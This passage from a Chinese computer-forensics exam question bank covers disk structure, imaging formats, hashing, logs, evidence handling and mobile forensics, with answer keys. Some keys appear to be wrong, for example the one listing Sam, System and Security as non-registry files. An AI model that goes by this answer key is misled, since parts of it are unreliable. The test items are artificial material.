动态取证技术</strong></p><p><strong>B. 计算机取证挖掘算法和柔性挖掘技术</strong></p><p><strong>C. 取证⼯具和过程的标准化</strong></p><p><strong>D. 以上都是</strong></p><p><strong>答案：D</strong></p><p><strong>下⾯有关 MBR 分区的描述，不正确的是（）</strong></p><p><strong>A MBR 的最前⾯ 446 字节为主引导记录，安装引导加载程</strong></p><p><strong>B 主引导记录后⾯是 128 字节 EBR 信息</strong></p><p><strong>C 主引导记录后⾯是 64 字节主分区表，MBR 只能有 4 个主分区，或者 3</strong></p><p><strong>个主分区，⼀个扩展分区</strong></p><p><strong>D MBR 分区的最后是 2 字节 55AA 结束标志，它是磁盘的有效标志，如果缺失，会导致系统⽆限次重启</strong></p><p><strong>答案：B</strong></p><p><strong>第8&#x2F;35⻚</strong></p><p><strong>以下关于硬盘的逻辑结构说法不正确的是（）</strong></p><p><strong>A. 每个盘⽚有两个⾯，这两个⾯都是⽤来存储数据的。</strong></p><p><strong>B. 随着读写磁头沿着盘⽚半径⽅向上下移动，每个盘⽚被划分成若⼲个同</strong></p><p><strong>⼼圆磁道。</strong></p><p><strong>C. 磁道被划分成若⼲个段，每个段称为⼀个扇区。扇区的编号是按</strong></p><p><strong>0,1，……顺序进⾏的。</strong></p><p><strong>D. 硬盘柱⾯、磁道、扇区的划分表⾯上是看不到任何痕迹的。</strong></p><p><strong>答案：C</strong></p><p><strong>以下不属于⽂件系统的是（）。</strong></p><p><strong>A. LINUX</strong></p><p><strong>B.NTFS</strong></p><p><strong>C. FAT32</strong></p><p><strong>D.EXT2</strong></p><p><strong>答案：A</strong></p><p><strong>以下不属于数据分析技术的是（）。</strong></p><p><strong>A. 对已删除⽂件的恢复、重建技术</strong></p><p><strong>B. 关键字搜索技术</strong></p><p><strong>C. ⽇志分析</strong></p><p><strong>D. 特殊类型⽂件分析</strong></p><p><strong>答案：A</strong></p><p><strong>提取磁盘&#x2F;分区镜像时，以下做法不妥的是（）</strong></p><p><strong>A.在该磁盘&#x2F;分区读写过程中提取</strong></p><p><strong>B.对⽬标磁盘&#x2F;分区卸载或挂载为只读</strong></p><p><strong>C.使⽤ dd 提取镜像的时候遇到读取错误时，忽略该错误⽽不停⽌拷⻉⾏为</strong></p><p><strong>D.为防⽌本地空间不够，可以使⽤ netcat 远程提取镜像</strong></p><p><strong>答案：A</strong></p><p><strong>在⼤多数⿊客案件中，嗅探⼯具常被⽤来捕捉通过⽹络的流量以重建诸如上⽹和访问⽹</strong></p><p><strong>第9&#x2F;35⻚</strong></p><p><strong>络⽂件等功能，以下（）是这类⼯具。</strong></p><p><strong>A. FTK</strong></p><p><strong>B. sniffer pro</strong></p><p><strong>C. Quick View Plus</strong></p><p><strong>D.NTI-DOC</strong></p><p><strong>答案：B</strong></p><p><strong>下列哪个选项是⽆法计算哈希值的？</strong></p><p><strong>A. 硬盘</strong></p><p><strong>B. 分区</strong></p><p><strong>C. ⽂件</strong></p><p><strong>D. ⽂件夹</strong></p><p><strong>答案：D</strong></p><p><strong>下列⽂件系统中，哪个是 Windows 7 系统不⽀持的？</strong></p><p><strong>A. exFat</strong></p><p><strong>B. NTFS</strong></p><p><strong>C. HFS</strong></p><p><strong>D. FAT32</strong></p><p><strong>答案：C</strong></p><p><strong>下列有关⽂件的各类时间属性，操作系统是⼀定不记录的？</strong></p><p><strong>A. 创建时间</strong></p><p><strong>B. 修改时间</strong></p><p><strong>C. 访问时间</strong></p><p><strong>D. 删除时间</strong></p><p><strong>答案：D</strong></p><p><strong>下列哪种不是常⻅的司法取证中的硬盘镜像格式？</strong></p><p><strong>A. Gho</strong></p><p><strong>B. AFF</strong></p><p><strong>C. S01</strong></p><p><strong>D. 001</strong></p><p><strong>答案：D</strong></p><p><strong>第10&#x2F;35⻚</strong></p><p><strong>NetworkMiner 嗅探抓取的信息不包括以下哪项（ ）。</strong></p><p><strong>A. IP 地址</strong></p><p><strong>B. DNS 解析</strong></p><p><strong>C. 系统 C 盘⽂件列表</strong></p><p><strong>D. Mac 地址</strong></p><p><strong>答案：C</strong></p><p><strong>UNIX 下误删除⽂件恢复⼯具不包括（）。</strong></p><p><strong>A.Toolkit</strong></p><p><strong>B.extundelete</strong></p><p><strong>C.debugfs</strong></p><p><strong>D.lsof</strong></p><p><strong>答案：A</strong></p><p><strong>下列属于 Windows 7 系统中虚拟内存对应的⽂件是？（）</strong></p><p><strong>A. hiberfil.sys</strong></p><p><strong>B. pagefile.sys</strong></p><p><strong>C. virtualmem.sys</strong></p><p><strong>D. config.sys</strong></p><p><strong>答案：B</strong></p><p><strong>下⾯哪种类型的数据不属于易失性数据？（）</strong></p><p><strong>A. 内存</strong></p><p><strong>B. 未分配簇</strong></p><p><strong>C. 运⾏的服务</strong></p><p><strong>D. 未打开的图⽚</strong></p><p><strong>答案：D</strong></p><p><strong>计算机对硬盘的读写基本单位、数据存储和磁盘管理的最基本单位分别是__。</strong></p><p><strong>A.扇区 簇</strong></p><p><strong>B.簇 扇区</strong></p><p><strong>C.扇区 柱⾯</strong></p><p><strong>D.簇 磁道</strong></p><p><strong>第11&#x2F;35⻚</strong></p><p><strong>答案：A</strong></p><p><strong>（）是 Windows 系统存储关于计算机配置信息的数据库，是 Windows 操</strong></p><p><strong>作系统的核⼼。</strong></p><p><strong>A.⽇志</strong></p><p><strong>B.注册表</strong></p><p><strong>C.系统⽬录</strong></p><p><strong>D.系统进程</strong></p><p><strong>答案：B</strong></p><p><strong>有关⽊⻢取证的描述，错误的是（）</strong></p><p><strong>A.⽊⻢取证的⽬的是找出⽊⻢的全部功能、追踪⽊⻢的作者、⽊⻢的使⽤</strong></p><p><strong>者</strong></p><p><strong>B.可以通过⽂件扩展名、摘要、作者名、软件注册码判断数据来⾃某⼀个</strong></p><p><strong>软件及其作者</strong></p><p><strong>和产⽣时间</strong></p><p><strong>C.⽊⻢⼀般通过把⾃⼰注⼊某些常⽤进程达到隐藏的⽬的</strong></p><p><strong>D.驱动级⽊⻢在正常模式下对于注册表的改动⽆法观测到，但⽊⻢释放⽂</strong></p><p><strong>件可以观测到</strong></p><p><strong>答案：D</strong></p><p><strong>Linux 下误删除⽂件恢复⼯具不包括（）</strong></p><p><strong>A.Toolkit</strong></p><p><strong>B.extundelete</strong></p><p><strong>C.debugfs</strong></p><p><strong>D.lsof</strong></p><p><strong>答案：A</strong></p><p><strong>对于电⼦证物的处理，（）操作是错误的。</strong></p><p><strong>A.⼿机运送过程中尽可能屏蔽⼿机信号</strong></p><p><strong>B.不要随便给电脑进⾏开机和关机操作</strong></p><p><strong>C.要记录线缆以及线缆和主机的连线⽅式</strong></p><p><strong>D.电⼦证物只要注意防潮防震就⾏了</strong></p><p><strong>第12&#x2F;35⻚</strong></p><p><strong>答案：D</strong></p><p><strong>E01 的块数据校验采⽤（）</strong></p><p><strong>A.CRC 算法</strong></p><p><strong>B.MD5 算法</strong></p><p><strong>C.SHA-1 算法</strong></p><p><strong>D.⼆进制反码运算</strong></p><p><strong>答案：A</strong></p><p><strong>NetworkMiner 嗅探抓取的信息不包括 。</strong></p><p><strong>A.IP 地址</strong></p><p><strong>B.DNS 解析</strong></p><p><strong>C.系统 C 盘⽂件列表</strong></p><p><strong>D.Mac 地址</strong></p><p><strong>答案：C</strong></p><p><strong>在⼿机取证时，SIM 卡是重要的证据来源。SIM 卡能够存储的数据不包括__。</strong></p><p> <strong>A.SIM 卡⽣产⼚商写⼊的原始数据，包括⽤户识别码、认证算法、加密算法等</strong></p><p><strong>B.⽤户⾃已存⼊的数据，如短消息、话费记录、性能参数等</strong></p><p><strong>C.⽤户⽤卡过程⾃动存⼊的⽹络接续和⽤户信息数据，如最近⼀次位置登记时⼿机所在位置识别号</strong></p><p><strong>D.⼿机中的应⽤程序</strong></p><p><strong>答案：D</strong></p><p><strong>判断</strong></p><p><strong>Big5 是繁体字的⼀种编码格式</strong></p><p><strong>答案：对</strong></p><p><strong>CRC 校验算法是字节顺序敏感的</strong></p><p><strong>答案：对</strong></p><p><strong>E01 证据⽂件只能被 EnCase 取证软件所⽀持</strong></p><p><strong>第13&#x2F;35⻚</strong></p><p><strong>答案：错</strong></p><p><strong>FAT32 ⽂件系统向下兼容 NTFS ⽂件系统</strong></p><p><strong>答案：错</strong></p><p><strong>IDE 接⼝ 硬盘可以⽀持热插拔</strong></p><p><strong>答案：错</strong></p><p><strong>MBR 扇区通常最后两个字节⼗六进制值为 0x55AA</strong></p><p><strong>答案：对</strong></p><p><strong>RAID5 磁盘阵列需要⾄少三块硬盘</strong></p><p><strong>答案：对</strong></p><p><strong>Shift+Del 删除的⽂件是不可以恢复的</strong></p><p><strong>答案：错</strong></p><p><strong>Windows Server 2008 的关机时要通过正常⽅式关机</strong></p><p><strong>答案：对</strong></p><p><strong>磁盘是计算机的重要外设, 没有磁盘, 计算计就不能运⾏。</strong></p><p><strong>答案：错</strong></p><p><strong>格式化操作不会破坏磁盘的信息。</strong></p><p><strong>答案：错</strong></p><p><strong>计算机证据的分析主要分为对主机数据的分析和对⽹络数据的分析。</strong></p><p><strong>答案：对</strong></p><p><strong>计算机证据的鉴定， 就是针对收集和保全的计算机数据进⾏可信性的证</strong></p><p><strong>明。</strong></p><p><strong>答案：对</strong></p><p><strong>电⼦证据是指法庭上可能成为证据的以⼆进制形式存储或传送的信息。</strong></p><p><strong>答案：对</strong></p><p><strong>第14&#x2F;35⻚</strong></p><p><strong>未分配空间⼀般没有什么内容， 对取证分析意义不⼤</strong></p><p><strong>答案：错</strong></p><p><strong>⽂本样式的编码设置得不合理会导致查看的⽂本为乱码</strong></p><p><strong>答案：对</strong></p><p><strong>⽂件逻辑⼤⼩可以⼤于其物理⼤⼩</strong></p><p><strong>答案：错</strong></p><p><strong>相同⽂件系统下单个扇区容量会⽐簇的容量⼤</strong></p><p><strong>答案：错</strong></p><p><strong>对于误删除，错误格式化，硬盘主引导记录、分区表或⽬录分配表损坏但</strong></p><p><strong>⼜没有⽤其他</strong></p><p><strong>数据覆盖这些形式的数据，恢复⼀般都有效。</strong></p><p><strong>答案：对</strong></p><p><strong>数据库系统、⽹络服务器、防⽕墙都提供了⽇志功能。</strong></p><p><strong>答案：对</strong></p><p><strong>恶意代码是⼀种程序，它通过把代码在不被察觉的情况下镶嵌到另⼀段程</strong></p><p><strong>序中，从⽽达</strong></p><p><strong>到破坏被感染电脑数据。计算机病毒、特洛伊⽊⻢、计算机蠕⾍等都属于</strong></p><p><strong>恶意代码。</strong></p><p><strong>答案：对</strong></p><p><strong>证物的完整性验证和和数字时间戳都是通过计算哈希值来实现的。</strong></p><p><strong>答案：对</strong></p><p><strong>在进⾏现场勘查的过程中，如果操作系统正在批量下载信息或杀毒，我们不应该⽴即终⽌这些操作。</strong></p><p><strong>答案：错</strong></p><p><strong>在提取易失性信息的过程中可以使⽤⽬标系统上的程序实施提取。</strong></p><p><strong>第15&#x2F;35⻚</strong></p><p><strong>答案：错</strong></p><p><strong>计算机证物应存储在正常室温的环境下，避免遭受湿⽓、磁⼒、灰尘、烟雾、⽔及油的影响。</strong></p><p><strong>答案：对</strong></p><p><strong>在 linux 系统中可以使⽤ kill 命令杀死某个进程。</strong></p><p><strong>答案：对</strong></p><p><strong>Linux 中的⽇志等级 none 表示不记录任何信息</strong></p><p><strong>答案：对</strong></p><p><strong>⼿机取证时⼀般将⼿机调成⻜信模式再进⾏取证。</strong></p><p><strong>答案：对</strong></p><p><strong>计算机仿真取证技术可以很⼤程度上弥补传统静态取证证据获取能⼒的不</strong></p><p><strong>⾜。</strong></p><p><strong>答案：错</strong></p><p><strong>开机状态下 Windows 的⽤户密码信息是以明⽂形式保存在注册表中的。</strong></p><p><strong>答案：错</strong></p><p><strong>现场勘验时可以通过 PE ⼯具直接清除 windows 密码后进⾏开机取证。</strong></p><p><strong>答案：错</strong></p><p><strong>对⼿机取证时应保证待检测⼿机的数据、信号畅通，以便及时接受到最新</strong></p><p><strong>的证据。</strong></p><p><strong>答案：错</strong></p><p><strong>iPhone ⼿机微信中获取的语⾳⽂件属于证据形式中的声像资料，⽽不是</strong></p><p><strong>电⼦数据。</strong></p><p><strong>答案：错</strong></p><p><strong>在进⾏硬盘克隆（对位复制）前必须对⽬标盘进⾏擦除。</strong></p><p><strong>第16&#x2F;35⻚</strong></p><p><strong>答案：对</strong></p><p><strong>Aff 与 E01 格式⽀持镜像压缩，可根据实际需求选择压缩⽐，减少⽂件占⽤的空间与镜像制作的时间。</strong></p><p><strong>答案：对</strong></p><p><strong>Linux 系统主要⽇志有应⽤程序⽇志、系统⽇志和安全⽇志。</strong></p><p><strong>答案：错</strong></p><p><strong>计算机取证只能由调查⼈员对原始存储介质进⾏备份，同时，备份过程应由嫌疑⼈、被害⼈或在场⼈共同确认，以免⽇后对证据的可采性滋⽣争议。</strong></p><p><strong>答案：错</strong></p><p><strong>在电⼦证据取证过程中，为了保全证据通常使⽤数字签名和数字时间戳技术。其中数字签名⽤于验证传送对象的完整性以及传送者的身份，时间戳可以证明数字证据在特定的时间和⽇期是存在的，且从该时刻到出庭这段时间不曾被修改过。</strong></p><p><strong>答案：对</strong></p><p><strong>注册表⼯具 Autoruns 具有全⾯⾃启动程序检测功能，找出那些被在系统启动和登录期间⾃运⾏的程序。</strong></p><p><strong>答案：对</strong></p><p><strong>计算机证据具有多样性、电⼦性、准确性、脆弱性和挥发性特点。</strong></p><p><strong>答案：错</strong></p><p><strong>在⼿机取证时，不要随便对⼿机进⾏开机和关机操作，同时应采⽤屏蔽措施阻⽌⼿机与外界通信。</strong></p><p><strong>答案：对</strong></p><p><strong>第17&#x2F;35⻚</strong></p><p><strong>内存取证⼯具 Volatility 只能⽤于 Windows 平台，它可以从运⾏进程、⽹络套接字、⽹络连接、DLL 和注册表配置单元中提取信息。</strong></p><p><strong>答案：错</strong></p><p><strong>⼀般情况下，源盘⽣成的 E01 镜像，占⽤的空间⼩于同⼀块盘⽣成的 DD镜像。</strong></p><p><strong>答案：错</strong></p><p><strong>Linux ⽇志配置⽂件为&#x2F;etc&#x2F;rsyslog.conf，它设置了⽇志记录的具体规则和具体位置。</strong></p><p><strong>答案：对</strong></p><p><strong>⽹络取证中，⽂件的时间属性对于还原事件发⽣的真实次序⾮常重要。⽂件下载时，⽂件创建时间为开始下载时间，⽂件修改时间为下载结束时间</strong></p><p><strong>答案：错</strong></p><p><strong>多选</strong></p><p><strong>E01 ⽂件能够提供的功能有（）</strong></p><p><strong>A 压缩功能</strong></p><p><strong>B 哈希值功能</strong></p><p><strong>C 密码保护功能</strong></p><p><strong>D 提供元⽂件信息</strong></p><p><strong>答案：A,B, D</strong></p><p><strong>有关 E01 ⽂件描述正确的有（）</strong></p><p><strong>A 取证分析⼯具 EnCase 的⼀个证据⽂件格式</strong></p><p><strong>B 包含⽂件头、校验值和数据块</strong></p><p><strong>C 密码保护功能</strong></p><p><strong>D 提供元⽂件信息</strong></p><p><strong>答案：A,B, D</strong></p><p><strong>E01 是取证分析⼯具 EnCase ⽀持的⼀种证据⽂件格式，该⽂件除了包括证据数据外，还包括（）等元数据</strong></p><p><strong>第18&#x2F;35⻚</strong></p><p><strong>A 调查⼈员</strong></p><p><strong>B 调查地点</strong></p><p><strong>C 调查机构</strong></p><p><strong>D 备注</strong></p><p><strong>答案：A,B,C,D</strong></p><p><strong>IE 上⽹记录包括（）</strong></p><p><strong>A 缓存记录</strong></p><p><strong>B 历史记录</strong></p><p><strong>C Cookies 记录</strong></p><p><strong>D IE 地址栏记录</strong></p><p><strong>答案：A,B,C,D</strong></p><p><strong>MBR 中包含的信息有（）</strong></p><p><strong>A 卷引导记录</strong></p><p><strong>B EBR 信息</strong></p><p><strong>C 主分区表</strong></p><p><strong>D 55AA 的签名标识</strong></p><p><strong>答案：A,C,D</strong></p><p><strong>调查取证当中的做法， 错误的有（）</strong></p><p><strong>A 在嫌疑⼈硬盘上安装取证软件进⾏取证</strong></p><p><strong>B 先打开只读锁电源，再连接硬盘</strong></p><p><strong>C 只读锁使⽤完毕后，先取⾛硬盘，再关闭电源</strong></p><p><strong>D 现场嫌疑⼈电脑处于开机状态，应当⽴即关机</strong></p><p><strong>E 硬盘复制机要接上只读锁再连接嫌疑⼈硬盘</strong></p><p><strong>答案：ABCDE</strong></p><p><strong>对于电⼦证物的处理那些操作是正确的（）</strong></p><p><strong>A ⼿机运送过程中尽可能屏蔽⼿机信号</strong></p><p><strong>B 开机状态的计算机要⽴即关机</strong></p><p><strong>C 要记录线缆以及线缆和主机的连线⽅式</strong></p><p><strong>D 电⼦证物只要注意防潮防震就⾏了</strong></p><p><strong>答案：A, C</strong> </p><p><strong>第19&#x2F;35⻚</strong></p><p><strong>对于取证相关原理的描述， 错误的有（）</strong></p><p><strong>A 相同内容的 word ⽂档与 txt ⽂档，其 HASH 值是不⼀样的</strong></p><p><strong>B 通过 HASH 值可以反推出源⽂件的内容</strong></p><p><strong>C RAID 0 在存储数据时， 同时备份数据</strong></p><p><strong>D 硬盘复制机的复制速度可以突破接⼝的理论最⼤速度</strong></p><p><strong>E FAT32 ⽀持磁盘配额</strong></p><p><strong>答案：A,B,C,D、E</strong></p><p><strong>⾼级格式化的作⽤包括（）</strong></p><p><strong>A 建⽴扇区</strong></p><p><strong>B 为硬盘创建⽂件系统</strong></p><p><strong>C 为硬盘划分磁道</strong></p><p><strong>D 对扇区进⾏分区内的编号</strong></p><p><strong>答案：B,D</strong></p><p><strong>关于 RAID 的描述， 正确的有（）</strong></p><p><strong>A RAID ⼜称廉价磁盘冗余阵列或独⽴磁盘冗余阵列</strong></p><p><strong>B RAID0 中只要⼀个硬盘损坏， 数据将丢失</strong></p><p><strong>C RAID1 中只要⼀个硬盘损坏， 数据将丢失</strong></p><p><strong>D RAID5 ⾄少要由 3 个磁盘组成</strong></p><p><strong>答案：A,B,D</strong></p><p><strong>关于 U 盘的描述， 错误的有（）</strong></p><p><strong>A U 盘⾥头通过磁头来读写数据</strong></p><p><strong>B U 盘⾥头通过盘⽚来存储数据</strong></p><p><strong>C U 盘取证不需要连接只读锁</strong></p><p><strong>D U 盘在⾼级格式化时被划分成许多磁道</strong></p><p><strong>答案：A,B,C,D</strong></p><p><strong>关于磁盘分区的说法，错误的是（）</strong></p><p><strong>A 磁盘分区后即可被操作系统存放数据</strong></p><p><strong>B 通过⾼级格式化来分区</strong></p><p><strong>C 通过低级格式化来分区</strong></p><p><strong>D Windows 中同⼀个分区中可以存放不同⽂件系统格式的⽂件</strong></p><p><strong>第20&#x2F;35⻚</strong></p><p><strong>答案：A,C,D</strong></p><p><strong>关于回收站⽂件夹， 说法正确的有（）</strong></p><p><strong>A 回收站⽂件夹具有系统属性</strong></p><p><strong>B Windows 默认不会给 U 盘创建回收站⽂件夹</strong></p><p><strong>C 回收站⽂件夹具有隐藏属性</strong></p><p><strong>D 回收站⽂件夹中⽂件被清空， 将不可以恢复</strong></p><p><strong>答案：A,B,C</strong></p><p><strong>关于回收站⽂件夹的描述， 正确的有（）</strong></p><p><strong>A 回收站⽂件夹具有系统属性</strong></p><p><strong>B 回收站⽂件夹具有隐藏属性</strong></p><p><strong>C 回收站被清空后数据将不可恢复</strong></p><p><strong>D 不同的 Windows 系统和不同⽂件系统中， 回收站的名称不⼀定相同</strong></p><p><strong>答案：A,B,D</strong></p><p><strong>关于快捷⽅式⽂件， 正确的有（）</strong></p><p><strong>A 其⽂件扩展名为.lnk</strong></p><p><strong>B 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件名及其完整路径</strong></p><p><strong>C 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件的创建时间、 最后访问时间</strong></p><p><strong>和最后修改</strong></p><p><strong>时间</strong></p><p><strong>D 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件所存储的卷的卷标信息</strong></p><p><strong>答案：A,B,C,D</strong></p><p><strong>关于散列算法的描述， 正确的有</strong></p><p><strong>A 散列算法即哈希算法</strong></p><p><strong>B 散列算法可以⽤于进⾏数据完整性⼀致性校验</strong></p><p><strong>C MD5 和 SHA1 是两种不同的散列算法</strong></p><p><strong>D 散列值⼀般采⽤⼗六进制</strong></p><p><strong>E 散列算法的输⼊到输出是不可逆的</strong></p><p><strong>答案：A,B,C,D、E</strong></p><p><strong>关于扇区概念的描述， 错误的是（）</strong></p><p><strong>第21&#x2F;35⻚</strong></p><p><strong>A 扇区⼤⼩默认为 4096 字节</strong></p><p><strong>B 扇区是⽂件系统可寻址的最⼩单位</strong></p><p><strong>C 扇区⼤⼩⼀般是 2 的 N 次⽅</strong></p><p><strong>D ⽂件都是存放在连续的扇区中</strong></p><p><strong>答案：A,B,D</strong></p><p><strong>通常 Windows 系统中涉及⽂件的 3 个时间属性，M 代表 Modify，表示最</strong></p><p><strong>后修改时间；</strong></p><p><strong>A 代表 Access，表示最后访问时间；C 代表 Create，表示创建时间；下</strong></p><p><strong>列解释错误的是？（）</strong></p><p><strong>A．M 始终要晚于 C</strong></p><p><strong>B． M、A、C 在 Linux 系统中也适⽤</strong></p><p><strong>C． M、A、C 时间是不能被任何⼯具修改的，因此是可信的</strong></p><p><strong>D．⽂件的 M、A、C 时间⼀旦发⽣变化，⽂件的哈希值随之改变</strong></p><p><strong>答案：ABC</strong></p><p><strong>下列关于对位复制的说法中，不正确的是？ （）</strong></p><p><strong>A．为了确保⽬标盘与源盘的⼀致性，⼀定要找到与源盘品牌、型号、容量均⼀致的⽬标盘进⾏复制</strong></p><p><strong>B． 为了确保司法取证的有效性，⼀定要验证⽬标盘与源盘哈希值的⼀致性</strong></p><p><strong>C． 为了确保⽬标盘与源盘的⼀致性，⽬标盘的硬盘接⼝⼀定要与源盘⼀致</strong></p><p><strong>D．当⽬标盘容量⼤于源盘时，⼀定要计算⽬标盘整盘的哈希值，⽤于与源盘的哈希值进⾏⽐对⼀致性</strong></p><p><strong>答案：ACD</strong></p><p><strong>下列关于现场勘验过操作的说法中，不正确的是？（）</strong></p><p><strong>A．DD ⽂件是最常⽤的镜像格式，因为该格式是原始镜像，⽽且⽀持⾼压缩。</strong></p><p><strong>B． 为了固定运⾏着的计算机的桌⾯状态，⾸先应该按键盘的 PrtSc 键进⾏截图。</strong></p><p><strong>C． 对于关机状态下的计算机进⾏固定时，优先采取对硬盘盘体进⾏开盘操作的⽅式。</strong></p><p><strong>D．对于关机状态下⼜⽆法拆卸硬盘的计算机，应该开机直接查看系统⾥的数据。</strong></p><p><strong>答案：CD</strong></p><p><strong>下列⽂件系统中，哪些是 Windows 的⽂件系统？ （）</strong></p><p><strong>A. HFS&#x2F;HFS+</strong></p><p><strong>B. EXT2&#x2F;3&#x2F;4</strong></p><p><strong>C. NTFS</strong></p><p><strong>D. FAT16&#x2F;32</strong></p><p><strong>答案：CD</strong></p><p><strong>下列关于对位复制和创建镜像的说法中，错误的是？（）</strong></p><p><strong>A．⼀般情况下，对位复制时，⽬标盘容量要等于源盘容量</strong></p><p><strong>B． 制作 DD 镜像时，能够将 500G 源盘的完整 DD 镜像⽣成到 500G 的⽬标盘中</strong></p><p><strong>C． ⼀般情况下，源盘⽣成的 E01 镜像，占⽤的空间⼩于同⼀块盘⽣成的DD 镜像</strong></p><p><strong>D．⽤专⻔的镜像哈希计算⼯具，计算的同⼀块硬盘的 DD 和 E01 镜像哈希值是相同的</strong></p><p><strong>答案：CD</strong></p><p><strong>下⾯关于⽂件头的说法中，不正确的是？（）</strong></p><p><strong>A．各种类型⽂件的⽂件头⻓度不⼀定相同</strong></p><p><strong>B． JPG 格式⽂件的⽂件头存在细⼩差异</strong></p><p><strong>C． 相⽐⽂件头，⽂件扩展名更可信，因此⽂件扩展名常⽤于判断⽂件类型</strong></p><p><strong>D．在 Windows 系统中，修改⽂件扩展名的同时，该⽂件的⽂件头也随之变化</strong></p><p><strong>答案：BCD</strong></p><p><strong>下列哪些类型是 Windows7 系统中常⻅的⽇志类型？ （）</strong></p><p><strong>第23&#x2F;35⻚</strong></p><p><strong>A. Application</strong></p><p><strong>B. Security</strong></p><p><strong>C. System</strong></p><p><strong>D. Local</strong></p><p><strong>答案：ABC</strong></p><p><strong>⼿机中常⽤的简体中⽂编码格式不包括？（）</strong></p><p><strong>A. Big5</strong></p><p><strong>B. UTF-16</strong></p><p><strong>C. Unicode BE</strong></p><p><strong>D. UTF-7</strong></p><p><strong>答案：ABCD</strong></p><p><strong>下⾯哪些密码破解⽅法可以⽤于 RAR ⽂件？（）</strong></p><p><strong>A. 彩虹表破解</strong></p><p><strong>B. 暴⼒破解</strong></p><p><strong>C. 掩码破解</strong></p><p><strong>D. 字典破解</strong></p><p><strong>答案：BCD</strong></p><p><strong>计算机取证中数据固定的三⼤技术包括（）。</strong></p><p><strong>A.只读</strong></p><p><strong>B.克隆</strong></p><p><strong>C.校验技术</strong></p><p><strong>D.数据恢复</strong></p><p><strong>答案：ABC</strong></p><p><strong>当调查分析跨时区事件时，操作系统和⽂件的时间属性⾮常重要。不同操</strong></p><p><strong>作系统或⽂件系统对⽇期、时间有不同的处理⽅法，下⾯有关⽇期时间的</strong></p><p><strong>描述，正确的是 （） 。</strong></p><p><strong>A.Linux 的时间标签有最后修改时间、最后访问时间和最后状态改变时间</strong></p><p><strong>B. windows 的时间标签有创建时间、最后写&#x2F;修改时间和最后访问时间</strong></p><p><strong>C.当复制⽂件时，⽂件的创建时间、最后访问时间会、最后写&#x2F;修改时间都不会改变</strong></p><p><strong>第24&#x2F;35⻚</strong></p><p><strong>D.取证过程中需关闭取证主机上的杀毒软件⾃动扫描功能，因为它会访问被调查的⽂件，并可能改变⽂件的最后访问时间</strong></p><p><strong>答案：ABCD</strong></p><p><strong>系统⽇志对取证有重要意义， （ ） 是 Windows 系统⽇志能够获取的信息。</strong></p><p><strong>A.确定成功登录系统的⽤户</strong></p><p><strong>B.确定试图登录系统但没有成功登录的⽤户</strong></p><p><strong>C.跟踪审核策略的变更</strong></p><p><strong>D.确定访问特定⽂件的⽤户</strong></p><p><strong>E.跟踪⽤户权限的变化</strong></p><p><strong>答案：ABCDE</strong></p><p><strong>计算机证据分析是整个取证过程的核⼼与关键，下⾯有关证据分析的描述，正确的有（）</strong></p><p><strong>A.分析过程的开机、关机过程，尽可能地避免正在运⾏的进⾏数据丢失或存在不可逆转的删除程序</strong></p><p><strong>B.通过将收集的程序、数据和备份与当前进⾏的程序数据进⾏对⽐，发现篡改痕迹</strong></p><p><strong>C.分析过程是基于原始证据的复制件进⾏的，⼀份⽤于取证的备份必须是对原始数据的每⼀⽐特的精确克隆</strong></p><p><strong>D.分析之前，⼀定要为被分析的数据⽣成数字指纹</strong></p><p><strong>答案：ABCD</strong></p><p><strong>计算机证据与传统证据⼀样，计算机证据必须是（）。</strong></p><p><strong>A.可信的</strong></p><p><strong>B.准确的</strong></p><p><strong>C.完整的</strong></p><p><strong>D.符合法津法规的</strong></p><p><strong>答案：ABCD</strong></p><p><strong>第25&#x2F;35⻚</strong></p><p><strong>在取证过程中，可能会遇到各种各样对系统的⼊侵或攻击，常⽤的追踪技术有（）。</strong></p><p><strong>A.通过 nslookup、tracert、whois 追踪⼊侵者 IP 地址</strong></p><p><strong>B.通过查询 DHCP 服务器地址分配信息进⾏动态 IP 地址跟踪</strong></p><p><strong>C.使⽤ arp -a 、ipconfig &#x2F;all 追踪 MAC 地址</strong></p><p><strong>D.通过电⼦邮件头部信息进⾏电⼦邮件追踪</strong></p><p><strong>答案：ABCD</strong></p><p><strong>下列关于⽂件⼤⼩和⽂件占⽤空间⼤⼩的说法中，不正确的是？（）</strong></p><p><strong>A．⽂件⼤⼩和⽂件占⽤空间⼤⼩总是不⼀致的</strong></p><p><strong>B． ⽂件占⽤空间⼤⼩总是⼤于⽂件的实际⼤⼩</strong></p><p><strong>C． ⽂件⼤⼩总是⽂件占⽤扇区⼤⼩的整数倍</strong></p><p><strong>D．⽂件占⽤空间⼤⼩与⽂件实际⼤⼩之间的差额通常被称为⽂件松弛区（Slack）</strong></p><p><strong>答案：ABC</strong></p><p><strong>下⾯哪些操作系统不属于智能⼿机操作系统？（）</strong></p><p><strong>A. Linux</strong></p><p><strong>B. Windows 8</strong></p><p><strong>C. Mac OS</strong></p><p><strong>D. MTK</strong></p><p><strong>答案：AD</strong></p><p><strong>下⾯哪些⽂件不是 Windows 的注册表⽂件？（）</strong></p><p><strong>A. Regedit</strong></p><p><strong>B. Sam</strong></p><p><strong>C. System</strong></p><p><strong>D. Security</strong></p><p><strong>答案：BCD</strong></p><p><strong>下列关于制作硬盘复制件的说法中，不正确的是？（）</strong></p><p><strong>A．降低直接在源盘检验带来的源盘损坏的⻛险。</strong></p><p><strong>B． 防⽌误操作等原因造成的硬盘数据篡改。</strong></p><p><strong>C． 对于某些传输速率低的硬盘，复制件采⽤⾼速率硬盘能有效提⾼后续取证效率。</strong></p><p><strong>D．制作复制件的同时，能够修复部分物理损坏的源盘。</strong></p><p><strong>答案：CD</strong></p><p><strong>下列⽂件后缀名的说法中，不正确的是？（）</strong></p><p><strong>A．⽂件的后缀名显示与否是 Windows 系统中可以设置的。</strong></p><p><strong>B． ⽂件的后缀名⼀般来说为 3-4 个位⻓度。</strong></p><p><strong>C． 可以通过改变⽂件的后缀名修改⽂件的类型。</strong></p><p><strong>D．所有⽂件都有⽂件后缀名。</strong></p><p><strong>答案：BC</strong></p><p><strong>下列关于安卓⼿机取证说法错误的是 （ ） 。</strong></p><p><strong>A.安卓⼿机⼤部分的关键数据都记录在&#x2F;data&#x2F;data 区内</strong></p><p><strong>B. &#x2F;data&#x2F;data 区⽆法随意访问，需要最⾼⽤户权限的授权（root 权限）</strong></p><p><strong>C.通过解析备份⽂件也可以完成对 data 区的取证</strong></p><p><strong>D.通过⼀些第三⽅软件，可以将 QQ、微信等主流社交软件的聊天记录储存位置指定在</strong></p><p><strong>SD 